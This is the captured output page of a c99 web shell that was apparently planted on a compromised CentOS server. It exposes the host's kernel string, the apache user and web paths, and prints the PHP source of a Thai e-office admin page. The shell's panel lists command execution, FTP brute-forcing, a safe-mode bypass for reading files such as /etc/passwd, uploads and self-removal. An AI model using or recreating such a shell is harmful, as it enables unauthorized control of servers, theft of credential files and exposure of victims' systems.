!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mistk/eoffice/admin/   drwxr-xr-x
Free 50.91 GB of 127.8 GB (39.84%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     addAnnounceDoc.php (5.99 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once "template.php";
include_once 
"../class/clsTable.php";
include_once 
"../class/clsannounceDocType.php";
include_once 
"../class/clsDocuments.php";
include_once 
"funct.php";
include_once 
"../link/function.php";
$oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']);

$oAn=new announceDocType($oC);
$oAn1=new announceDocType($oC);
$oAn2=new announceDocType($oC);
$oDoc = new Documents($oC);    
$personId=$oU->userPsCode;
$InputThai=$oSys->SearchByInputThai();
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
</head>
<body>
<table  width="100%"  align="center">
<tr><td >
<fieldset>
      <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="?mm=1">ข้อมูลพื้นฐาน</a>
      <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle"><a href="addAnnounceDoc.php">ข้อมูลประเภทข่าว
</a></font></legend>
        <form name="gg"  METHOD="POST" action="processAnnounceDoc.php">
        <table width="50%" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#DADADA" style="border-collapse:collapse"  background="<?  echo "../picture/table_header_bg5.gif";  ?>">
      <tr height=22>
      <td width="42%" align="center"><font  size="2">ประเภทข่าว</font></td>
      <td width="8%" align="center"><font  size="2">แก้ไข</font></td>
      <td width="5%" align="center"><font  size="2">ลบ</font></td>
          </tr>
         <? $i=0;
                 
$oAn->RSannounceDocType();
                    while(
$oAn->GetRecord()){    
                    if((
$i%2) == 0)   
                                              echo 
"<tr bgcolor=\"#FFFFFF\" height=22 >";
                                        else
                                              echo 
"<tr bgcolor=\"".$GLOBALS["COLOR_BG_TD_16"]."\"  height=22 align=\"left\">";
        
?>
        <td>&nbsp;&nbsp;<? if($addname=="1" && $oAn->AnID==$AnID){   ?><input name="editDoctype" id="editDoctype" type="text" size="30" maxlength="50" value="<? echo $oAn->AnName?>" onkeypress="return chkNoKey(event)" onKeyUp="CheckInput('<? echo $InputThai?>','editDoctype')"><input name="add" type="button" value="บันทึก" onClick='return editDocAtype(<? echo $oAn->AnID;   ?>);'>
        <?        }else{    echo $oAn->AnName; }  
        
?>
        </td>
        <td align="center"><a href="addAnnounceDoc.php?addname=1&AnID=<? echo $oAn->AnID;   ?>"><img src="../picture/incomplete_ico.gif" title="แก้ไขประเภทข่าว"  border="0" style="cursor:pointer;" ></a></td>
        <td align="center" valign="middle">
        <? $oDoc->SearchByAnID($oAn->AnID); if($oDoc->GetRecord()=="1"){   $havesave=1; }else{  $havesave=0;   }
                if(
$havesave==1){
        
?>
&nbsp;
        <? }else{?>
        <a href="addAnnounceDoc.php?addname=1&AnID=<? echo $oAn->AnID;   ?>"><img src="../picture/delete1.gif" title="ลบประเภทข่าว"  border="0" style="cursor:pointer;" onClick='return delDoctype(<? echo $oAn->AnID;   ?>);'></a>
        <? }  ?>
        </td>
        </tr>
        <?  $i++; } ?>
        <?  if($addline=="1"){    ?>
        <tr bgcolor="#FFFFFF">
        <td>&nbsp;&nbsp;<input name="newDocType" id="newDocType" type="text" size="30" maxlength="50" onkeypress="return chkNoKey(event)" onKeyUp="CheckInput('<? echo $InputThai?>','newDocType')">&nbsp;<input name="add" type="button" value="บันทึก" onClick='return addDoctype();'></td>
        <td>&nbsp;</td>
        <td>&nbsp;</td>
        </tr>
        <? ?>
      </table>
      <table width="50%" border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#DADADA" style="border-collapse:collapse">
      <tr><td colspan="3" bgcolor="#FFFFFF" align="right" height="30" valign="middle">
      <a onClick="location.href = 'addAnnounceDoc.php?addline=1'" style="cursor:pointer;"><img src="../picture/newdoc.gif" title="เพิ่มประเภทข่าว"  border="0" style="cursor:pointer;">&nbsp;เพิ่มประเภทข่าว</a>
      </td></tr>
      <tr><td align="center"><input type="button" name="cancel" value="กลับหน้าหลัก" onClick="location.href = '?mm=1'"></td></tr>
      </table>
      <br>
      <input type="hidden" name="iddoc" id="iddoc"> 
      <input type="hidden" name="countdocfolder" id="countdocfolder"> 
     <input type="hidden" name="addline" id="addline"  value="<? echo $addline?>"> 
      <input type="hidden" name="addname" id="addname"  value="<? echo $addname?>"> 
    <input type="hidden" name="method"  id="method">
      </form>
</fieldset> 
      <table width="99%" border="0" align="center">
        <tr> 
          <td width="126" align="left"><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">&nbsp;<strong>หมายเหตุ 
            : </strong>&nbsp;</font></td>
          <td width="702" align="left"> <font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2"><img src="../picture/incomplete_ico.gif" title="แก้ไขประเภทข่าว"  border="0">&nbsp;คลิกเพื่อเปลี่ยนชื่อประเภทข่าว&nbsp;&nbsp;&nbsp; 
            <img src="../picture/delete1.gif" title="ลบประเภทข่าว"  border="0" > 
            คลิกเพื่อลบประเภทข่าว</font>&nbsp;&nbsp;&nbsp;<font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2"><img src="../picture/newdoc.gif" title="เพิ่มประเภทข่าว"   border="0" >&nbsp;คลิกเพื่อเพิ่มประเภทข่าว</font></td>
        </tr>
      </table>
</td>
</tr>
</table>
</body>
</html>
<script language="javascript">
function addDoctype(){
    if(document.gg.newDocType.value==""){
        alert("กรุณากรอกชื่อประเภทข่าว");
    }else{
                var agree=confirm("คุณต้องการจะเพิ่มประเภทข่าวนี้แน่นอนใช่หรือไม่ ?");
                if (agree){
                    document.gg.method.value="addDocType";
                    document.gg.submit();
                    return true;
                }else{
                    return false ;
                }
        
    }
}
function editDocAtype(p){
    if(document.gg.editDoctype.value==""){
        alert("กรุณากรอกชื่อประเภทข่าว");
    }else{
                var agree=confirm("คุณต้องการแก้ไขชื่อประเภทข่าวนี้แน่นอนใช่หรือไม่ ?");
                if (agree){
                    document.gg.iddoc.value=p;
                    document.gg.method.value="editDoctype";
                    document.gg.submit();
                    return true;
                }else{
                    return false ;
                }
        
    }
}
function delDoctype(p){
                var agree=confirm("คุณต้องการจะลบประเภทข่าวนี้แน่นอนใช่หรือไม่ ?");
                if (agree){
                    document.gg.method.value="del";
                    document.gg.iddoc.value=p;
                    document.gg.submit();
                    return true;
                }else{
                    return false ;
                }
        
}
</script>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0149 ]--